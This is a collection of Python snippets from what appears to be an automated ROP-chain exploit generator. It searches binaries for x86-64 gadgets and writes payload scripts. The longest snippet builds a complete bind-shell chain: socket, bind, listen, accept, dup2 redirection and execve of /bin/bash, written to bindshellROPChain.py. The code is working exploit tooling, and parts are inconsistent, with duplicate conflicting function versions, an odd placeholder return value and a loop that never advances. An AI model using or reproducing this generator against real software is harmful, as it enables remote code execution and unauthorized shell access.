Exemplo n.º 1
0
def case1(GadgetList):

    payload = bytes()
    fd = open("execveChain.py", "w")
    writeHeader(fd)

    raxList = categorize.queryGadgets(GadgetList, general.LOADCONSTG, "rax")

    print_pretty.print_pretty(raxList)

    # rax <- 11
    x = 0
    while x < len(raxList):

        gadget = raxList[x]
        inst = gadget[0]

        if inst.mnemonic == "pop":

            # "pop rax; ret" found.
            # Steps to be taken:
            # Put 11 in the payload
            # Execute "pop rax; ret"

            # Update payload
            payload += struct.pack("<Q", 11)
            payload += struct.pack("<Q", int(inst.address))

            # Write it into the file
            fd.write("payload += struct.pack('<Q', 11)")
            fd.write("\n\t")
            fd.write("payload += struct.pack('<Q', ")
            fd.write(hex(int(inst.address)))
            fd.write(")")
            fd.write("\n\t")

        if inst.mnemonic == "xor":

            # "xor rax, rax; ret" found
            # Jackpot!
            # Steps to do:
            # Execute "xor rax, rax; ret"
            # Find for arithmetic gadgets which will increase rax's value to 11

            # Update payload
            payload += struct.pack("<Q", int(inst.address))

            # Write it into the file
            fd.write("payload += struct.pack('<Q', ")
            fd.write(hex(int(inst.address)))
            fd.write(")")
            fd.write("\n\t")

            if changeRegValue(GadgetList, "rax", 0, 11, payload, fd) == 0:
                print("Unable to find gadgets which can change rax's value")
                print("Exiting...")
                sys.exit()

        # Keep the loop going!
        x = x + 1
Exemplo n.º 2
0
def changeRegValue(GadgetList, Reg, CurrentValue, FinalValue, payload, fd):

    print("Inside changeRegValue")

    RegArithList = categorize.queryGadgets(GadgetList, general.ARITHMETICG,
                                           Reg)
    # print_pretty.print_pretty(RegArithList)

    # A variable
    const = 0
    X = 0
    while X < len(RegArithList):

        gadget = RegArithList[X]
        inst = gadget[0]
        print("Inst = ", inst.mnemonic)

        if inst.mnemonic == "inc":

            if FinalValue > CurrentValue:

                counter = 0
                while counter < (FinalValue - CurrentValue):

                    # Execute "inc Reg; ret"

                    # Update payload
                    payload += struct.pack("<Q", int(inst.address))

                    # Write into file
                    fd.write("payload += struct.pack('<Q', ")
                    fd.write(hex(int(inst.address)))
                    fd.write(")")
                    fd.write("\n\t")

                    counter = counter + 1

            return 1

        if inst.mnemonic == "dec":

            if FinalValue < CurrentValue:

                counter = 0
                while counter < (CurrentValue - FinalValue):

                    # Execute "dec Reg; ret"

                    # Update payload
                    payload += struct.pack("<Q", int(inst.address))

                    # Write into file
                    fd.write("payload += struct.pack('<Q', ")
                    fd.write(hex(int(inst.address)))
                    fd.write(")")
                    fd.write("\n\t")

                    counter = counter + 1

            return 1

        if inst.mnemonic == "add":

            print("Found add")
            operands = inst.op_str.split(',')

            operands = categorize.getStrippedOperands(operands)
            print("operands = ", operands)

            if operands[1].isnumeric():
                const = int(operands[1])

            if const == 1 and FinalValue > CurrentValue:

                counter = 0
                while counter < (FinalValue - CurrentValue):

                    # execute "add Reg, 1; ret"

                    # Update payload
                    payload += struct.pack("<Q", int(inst.address))

                    # Write into file
                    fd.write("payload += struct.pack('<Q', ")
                    fd.write(hex(int(inst.address)))
                    fd.write(")")
                    fd.write("\n\t")

                    counter = counter + 1

                return 1

            if const > 1 and FinalValue > CurrentValue:

                gap = FinalValue - CurrentValue
                quo = gap / const
                rem = gap % const

                while quo > 0:

                    # execute add Reg, const; ret"

                    # Update payload
                    payload += struct.pack("<Q", int(inst.address))

                    # Write into file
                    fd.write("payload += struct.pack('<Q', ")
                    fd.write(hex(int(inst.address)))
                    fd.write(")")
                    fd.write("\n\t")

                    quo = quo - 1

                    CurrentValue = CurrentValue + const

                if FinalValue == CurrentValue:
                    return 1

                if changeRegValue(GadgetList, Reg, CurrentValue, FinalValue,
                                  payload, fd) == 0:
                    print(
                        "Unable to find gadgets which can change rax's value")
                    print("Exiting...")
                    sys.exit()

                else:
                    return 1

            if const == -1 and FinalValue < CurrentValue:

                counter = 0
                while counter < CurrentValue - FinalValue:

                    # execute "add Reg, -1; ret"

                    # Update payload
                    payload += struct.pack("<Q", int(inst.address))

                    # Write into file
                    fd.write("payload += struct.pack('<Q', ")
                    fd.write(hex(int(inst.address)))
                    fd.write(")")
                    fd.write("\n\t")

                    counter = counter + 1

                return 1

            if const < -1 and FinalValue < CurrentValue:

                gap = CurrentValue - FinalValue
                quo = gap / (-(const))

                while quo > 0:

                    # execute "add Reg, -ve number; ret"

                    # Update payload
                    payload += struct.pack("<Q", int(inst.address))

                    # Write into file
                    fd.write("payload += struct.pack('<Q', ")
                    fd.write(hex(int(inst.address)))
                    fd.write(")")
                    fd.write("\n\t")

                    quo = quo - 1

                    CurrentValue = CurrentValue + const

                if FinalValue == CurrentValue:
                    return 1

                if changeRegValue(GadgetList, Reg, CurrentValue, FinalValue,
                                  payload, fd) == 0:
                    print(
                        "Unable to find gadgets which can change rax's value")
                    print("Exiting...")
                    sys.exit()

                else:
                    return 1

        # TODO: Do the same for sub instruction
        # Take care of recursive calls properly.

        # main while loop
        # Keep it going!
        X = X + 1

    return ("qwwe", "123")
Exemplo n.º 3
0
def LoadConstIntoReg(GadgetList, Reg, Const, fd):

    RegList = categorize.queryGadgets(GadgetList, general.LOADCONSTG, Reg)

    # Search for "pop Reg; ret"
    x = 0
    while x < len(RegList):

        gadget = RegList[x]
        inst = gadget[0]

        if inst['mnemonic'] == "pop":

            # "pop Reg; ret" is found
            # Steps to be taken:
            #   1. Put Const onto stack
            #   2. Execute "pop Reg; ret"

            # Write it into the file

            # Write address of "pop Reg; ret"
            fd.write("payload += struct.pack('<Q', ")
            fd.write(hex(int(inst['address'])))
            fd.write(")")
            fd.write("\t\t# Address of 'pop Reg; ret'")
            fd.write("\n\t")

            # Write Const onto stack
            fd.write("payload += struct.pack('<Q', ")
            fd.write(str(hex(Const)))
            fd.write(")")
            fd.write("\n\t")

            return

        x = x + 1

    # Search for "xor Reg, Reg; ret"
    x = 0
    while x < len(RegList):

        gadget = RegList[x]
        inst = gadget[0]

        if inst['mnemonic'] == "xor":
            # "xor Reg, Reg; ret" is found
            # Loads 0 into Reg
            # Jackpot!
            # Steps to do:
            #   1. Execute "xor Reg, Reg; ret"
            #   2. Call changeRegValue if Const != 0

            # Write it into the file
            fd.write("payload += struct.pack('<Q', ")
            fd.write(hex(int(inst['address'])))
            fd.write(")")
            fd.write("\t\t# Address of 'xor Reg, Reg; ret'")
            fd.write("\n\t")

            if int(Const) != 0:
                if changeRegValue(GadgetList, Reg, 0, Const, fd) == 0:
                    print(
                        "Unable to find gadgets which can change rax's value")
                    print("Exiting...")
                    sys.exit()

                else:
                    return 1
        x = x + 1

    print("Unable to find necessary gadgets to load a value into a register")
    print("Exiting...")
    sys.exit()
Exemplo n.º 4
0
def changeRegValue(GadgetList, Reg, CurrentValue, FinalValue, fd):

    RegArithList = categorize.queryGadgets(GadgetList, general.ARITHMETICG,
                                           Reg)

    # A variable
    const = 0
    X = 0

    # Search for inc Reg
    # Go through the whole RegArithList and check if inc Reg is present.

    X = 0
    while X < len(RegArithList):
        # print("Inside search for inc Reg")

        gadget = RegArithList[X]
        inst = gadget[0]

        if inst['mnemonic'] == "inc":

            if FinalValue > CurrentValue:

                counter = 0
                while counter < (FinalValue - CurrentValue):

                    # Execute inc Reg; Ret

                    # Write into file
                    fd.write("payload += struct.pack('<Q', ")
                    fd.write(hex(int(inst['address'])))
                    fd.write(")")
                    fd.write("\t\t# Address of 'inc Reg; ret'")
                    fd.write("\n\t")

                    counter = counter + 1

                return 1

        X = X + 1

    # Search for dec Reg

    X = 0
    while X < len(RegArithList):

        gadget = RegArithList[X]
        inst = gadget[0]

        if inst['mnemonic'] == "dec":

            if FinalValue < CurrentValue:

                counter = 0
                while counter < (CurrentValue - FinalValue):

                    # Execute "dec Reg; ret"

                    # Write into file
                    fd.write("payload += struct.pack('<Q', ")
                    fd.write(hex(int(inst['address'])))
                    fd.write(")")
                    fd.write("\t\t# Address of ''dec Reg; ret'")
                    fd.write("\n\t")

                    counter = counter + 1

                return 1

        X = X + 1

    # Search for "add Reg, 1; ret" or "add Reg, -1; ret"

    X = 0
    while X < len(RegArithList):

        gadget = RegArithList[X]
        inst = gadget[0]

        if inst['mnemonic'] == "add":

            if inst['operands'][0].isnumeric():
                const = int(inst['operands'][0])
            else:
                const = int(inst['operands'][1])

            # Case: "add Reg, 1; ret"
            if const == 1 and FinalValue > CurrentValue:

                counter = 0
                while counter < (FinalValue - CurrentValue):

                    # execute "add Reg, 1; ret"

                    # Write into file
                    fd.write("payload += struct.pack('<Q', ")
                    fd.write(hex(int(inst['address'])))
                    fd.write(")")
                    fd.write("\t\t# Address of 'add Reg, 1; ret'")
                    fd.write("\n\t")

                    counter = counter + 1

                return 1

            # Case: "add Reg, -1; ret"
            elif const == -1 and FinalValue < CurrentValue:

                counter = 0
                while counter < (CurrentValue - FinalValue):

                    # execute "add Reg, -1; ret"

                    # Write into file
                    fd.write("payload += struct.pack('<Q', ")
                    fd.write(hex(int(inst['address'])))
                    fd.write(")")
                    fd.write("\t\t# Address of 'add Reg, -1; ret'")
                    fd.write("\n\t")

                    counter = counter + 1

                return 1

        X = X + 1

    # Search for "add Reg, const; ret"

    X = 0
    while X < len(RegArithList):

        gadget = RegArithList[X]
        inst = gadget[0]

        if inst['mnemonic'] == "add":

            if inst['operands'][0].isnumeric():
                const = int(inst['operands'][0])
            else:
                const = int(inst['operands'][1])

            # Case "add Reg, const; ret" && const > 1
            if const > 1 and FinalValue > CurrentValue:

                gap = FinalValue - CurrentValue
                quo = gap / const
                rem = gap % const

                while quo > 0:

                    # Execute add Reg, const; ret

                    # Write into file
                    fd.write("payload += struct.pack('<Q', ")
                    fd.write(hex(int(inst['address'])))
                    fd.write(")")
                    fd.write("\t\t# Address of add Reg, const; ret")
                    fd.write("\n\t")

                    quo = quo - 1

                    CurrentValue = CurrentValue + const

                # If CurrentValue is equal to FinalValue, goal achieved.
                if FinalValue == CurrentValue:
                    return 1

                # Suppose that does not happen,
                # Call changeRegValue again and attempt to chain other gadgets to get the intended FinalValue
                if changeRegValue(GadgetList, Reg, CurrentValue, FinalValue,
                                  fd) == 0:
                    print("Unable to find gadgets which can change", Reg,
                          "'s value")
                    print("Exiting...")
                    sys.exit()

                # Suppose changeRegValue returns 1, success!
                else:
                    return 1

            if const < -1 and FinalValue < CurrentValue:

                gap = FinalValue - CurrentValue
                quo = gap / (-const)
                rem = gap % (-const)

                while quo > 0:

                    # Execute add Reg, const; ret

                    # Write into file
                    fd.write("payload += struct.pack('<Q', ")
                    fd.write(hex(int(inst['address'])))
                    fd.write(")")
                    fd.write("\t\t# Address of add Reg, const; ret")
                    fd.write("\n\t")

                    quo = quo - 1

                    CurrentValue = CurrentValue + const

                # If CurrentValue is equal to FinalValue, goal achieved.
                if FinalValue == CurrentValue:
                    return 1

                # Suppose that does not happen,
                # Call changeRegValue again and attempt to chain other gadgets to get the intended FinalValue
                if changeRegValue(GadgetList, Reg, CurrentValue, FinalValue,
                                  fd) == 0:
                    print(
                        "Unable to find gadgets which can change rax's value")
                    print("Exiting...")
                    sys.exit()

                # Suppose changeRegValue returns 1, success!
                else:
                    return 1

    print("Unable to find gadgets to change a register's value")
    print("Exiting...")
    sys.exit()
Exemplo n.º 5
0
def exploit(GadgetList, data_section_addr):

    # Open the file where payload will be written in the form of a python script
    fd = open("bindshellROPChain.py", "w")
    chain.writeHeader(fd)

    # ip_addr = str(input("Enter IP Address: "))
    port = int(input("Enter port Number: "))

    # sin_family = AF_INET
    # Refering to /usr/include/bits/socket.h for value of AF_INET
    # AF_INET = 2

    sockaddr = b''
    sockaddr += b'\x02\x00'  # AF_INET = 2
    sockaddr += struct.pack('<H', socket.htons(port))  # htons(port)
    sockaddr += socket.inet_pton(socket.AF_INET,
                                 "0.0.0.0")  #  inet_pton(AF_INET, ip_addr)
    sockaddr += struct.pack('<Q', 0)  # sin_zero - 8 zeros

    # sockaddr structure ready

    # Writing sockaddr structure onto .data section
    chain.WriteStuffIntoMemory(sockaddr, data_section_addr, fd)

    # Execute socket() system call
    # Note: rax will have the file descriptor of the new socket

    # socket's system call number = 41
    chain.LoadConstIntoReg(GadgetList, "rax", 41, fd)

    # rdi <- AF_INET
    # rdi <- 2
    # Refer to /usr/include/bits/socket.h for value
    chain.LoadConstIntoReg(GadgetList, "rdi", 2, fd)

    # rsi <- SOCK_STREAM
    # rsi <- 1
    # Refer to /usr/include/bits/socket_type.h for valule
    chain.LoadConstIntoReg(GadgetList, "rsi", 1, fd)

    # rdx <- 0
    chain.LoadConstIntoReg(GadgetList, "rdx", 0, fd)

    # Call "syscall; ret"
    syscallList = categorize.checkIfSyscallPresent(GadgetList)
    syscallGadget = syscallList[0]

    syscallDict = syscallGadget[0]
    syscallAddress = syscallDict['address']

    fd.write("payload += struct.pack('<Q', ")
    fd.write(hex(int(syscallAddress)))
    fd.write(")")
    fd.write("\t\t# Address of syscall")
    fd.write("\n\t")

    # If socket() is successful, rax will have file descriptor
    # Should somehow load it into rdi
    # rdi <- rax
    # How?
    # Should search for a "xchg rax, rdi" or "xchg rdi, rax" or "xchg edi, eax" or "xchg eax, edi"

    xchgList = categorize.queryGadgets(GadgetList, general.XCHANGE, "rdi")
    xchgList += categorize.queryGadgets(GadgetList, general.XCHANGE, "edi")

    xchgAD = dict()

    if len(xchgList) > 0:

        for List in xchgList:
            gadget = List[0]

            if (("rax" in gadget['operands'] and "rdi" in gadget['operands'])
                    or
                ("eax" in gadget['operands'] and "edi" in gadget['operands'])):
                xchgAD = gadget
                break

    if len(xchgAD) == 0:
        print(
            "No xchg gadgets found to load value of rax into rdi. so, Exploit fail!"
        )
        sys.exit()

    # Execute xchg between rdi and rax => rdi has socket's file descriptor now.
    fd.write("payload += struct.pack('<Q', ")
    fd.write(hex(int(xchgAD['address'])))
    fd.write(")")
    fd.write("\t\t# Address of xchg Reg1, Reg2; ret")
    fd.write("\n\t")

    # Step-6: Execute bind() system call
    # bind(rdi, data_section_addr, 16)

    # rax <- 49
    # bind's system call number = 49
    chain.LoadConstIntoReg(GadgetList, "rax", 49, fd)

    # rdi <- file descriptor - already there

    # rsi <- data_section_addr
    chain.LoadConstIntoReg(GadgetList, "rsi", data_section_addr, fd)

    # rdx <- 16
    chain.LoadConstIntoReg(GadgetList, "rdx", 16, fd)

    # Call "syscall; ret"
    syscallList = categorize.checkIfSyscallPresent(GadgetList)
    syscallGadget = syscallList[0]

    syscallDict = syscallGadget[0]
    syscallAddress = syscallDict['address']

    fd.write("payload += struct.pack('<Q', ")
    fd.write(hex(int(syscallAddress)))
    fd.write(")")
    fd.write("\t\t# Address of syscall")
    fd.write("\n\t")

    # Assuming bind() is successful, we will continue

    # Step-7: listen(rdi, 0)

    # Load listen's system call number
    chain.LoadConstIntoReg(GadgetList, "rax", 50, fd)

    # rdi <- file descriptor - already there

    # rsi <- 0
    chain.LoadConstIntoReg(GadgetList, "rsi", 0, fd)

    # Call "syscall; ret"
    syscallList = categorize.checkIfSyscallPresent(GadgetList)
    syscallGadget = syscallList[0]

    syscallDict = syscallGadget[0]
    syscallAddress = syscallDict['address']

    fd.write("payload += struct.pack('<Q', ")
    fd.write(hex(int(syscallAddress)))
    fd.write(")")
    fd.write("\t\t# Address of syscall")
    fd.write("\n\t")

    # Listen done.

    # Step-8: accept(rdi, 0, 0) system call

    # Load accept()'s system call number
    chain.LoadConstIntoReg(GadgetList, "rax", 43, fd)

    # rdi is set.

    chain.LoadConstIntoReg(GadgetList, "rsi", 0, fd)
    chain.LoadConstIntoReg(GadgetList, "rdx", 0, fd)

    # Call "syscall; ret"
    syscallList = categorize.checkIfSyscallPresent(GadgetList)
    syscallGadget = syscallList[0]

    syscallDict = syscallGadget[0]
    syscallAddress = syscallDict['address']

    fd.write("payload += struct.pack('<Q', ")
    fd.write(hex(int(syscallAddress)))
    fd.write(")")
    fd.write("\t\t# Address of syscall")
    fd.write("\n\t")

    # Now, accept() is waiting for connections.

    # Suppose I get connected, a new socket is created with file descriptor in rax. That should be loaded into rdi again.
    fd.write("payload += struct.pack('<Q', ")
    fd.write(hex(int(xchgAD['address'])))
    fd.write(")")
    fd.write("\t\t# Address of xchg Reg1, Reg2; ret")
    fd.write("\n\t")

    # Redirect stdin, stdout, stderr to that new socket using dup2() system call
    # dup2(rdi, 0)

    chain.LoadConstIntoReg(GadgetList, "rax", 33, fd)

    # stdin
    chain.LoadConstIntoReg(GadgetList, "rsi", 0, fd)

    # Call "syscall; ret"
    syscallList = categorize.checkIfSyscallPresent(GadgetList)
    syscallGadget = syscallList[0]

    syscallDict = syscallGadget[0]
    syscallAddress = syscallDict['address']

    fd.write("payload += struct.pack('<Q', ")
    fd.write(hex(int(syscallAddress)))
    fd.write(")")
    fd.write("\t\t# Address of syscall")
    fd.write("\n\t")

    # stdout
    chain.LoadConstIntoReg(GadgetList, "rax", 33, fd)

    chain.LoadConstIntoReg(GadgetList, "rsi", 1, fd)

    # Call "syscall; ret"
    syscallList = categorize.checkIfSyscallPresent(GadgetList)
    syscallGadget = syscallList[0]

    syscallDict = syscallGadget[0]
    syscallAddress = syscallDict['address']

    fd.write("payload += struct.pack('<Q', ")
    fd.write(hex(int(syscallAddress)))
    fd.write(")")
    fd.write("\t\t# Address of syscall")
    fd.write("\n\t")

    # stderr
    chain.LoadConstIntoReg(GadgetList, "rax", 33, fd)

    chain.LoadConstIntoReg(GadgetList, "rsi", 2, fd)

    # Call "syscall; ret"
    syscallList = categorize.checkIfSyscallPresent(GadgetList)
    syscallGadget = syscallList[0]

    syscallDict = syscallGadget[0]
    syscallAddress = syscallDict['address']

    fd.write("payload += struct.pack('<Q', ")
    fd.write(hex(int(syscallAddress)))
    fd.write(")")
    fd.write("\t\t# Address of syscall")
    fd.write("\n\t")

    # Now, all redirection is done.

    # Let us spawn a shell - refer execveChain.py

    binsh = 0x68732f2f6e69622f
    # binsh = 0x6873000000000000
    binsh = struct.pack('<Q', binsh)
    binsh = b'/bin/bash'
    # print(binsh)
    chain.WriteStuffIntoMemory(binsh, data_section_addr + 20, fd)

    # Step-1: rax <- 59
    chain.LoadConstIntoReg(GadgetList, "rax", 59, fd)

    # Step-3: rdi <- "Address of /bin//sh" - .data section's address
    chain.LoadConstIntoReg(GadgetList, "rdi", data_section_addr + 20, fd)

    # Step-4: rsi <- 0
    chain.LoadConstIntoReg(GadgetList, "rsi", 0, fd)

    # Step-5: rdx <- 0
    chain.LoadConstIntoReg(GadgetList, "rdx", 0, fd)

    # Get syscall
    syscallList = categorize.checkIfSyscallPresent(GadgetList)
    syscallGadget = syscallList[0]

    syscallDict = syscallGadget[0]
    syscallAddress = syscallDict['address']

    fd.write("payload += struct.pack('<Q', ")
    fd.write(hex(int(syscallAddress)))
    fd.write(")")
    fd.write("\t\t# Address of syscall")
    fd.write("\n\t")

    chain.writeFooter(fd)
    print("-->Written the complete payload in bindshellROPChain.py")
    print("-->Chaining successful!")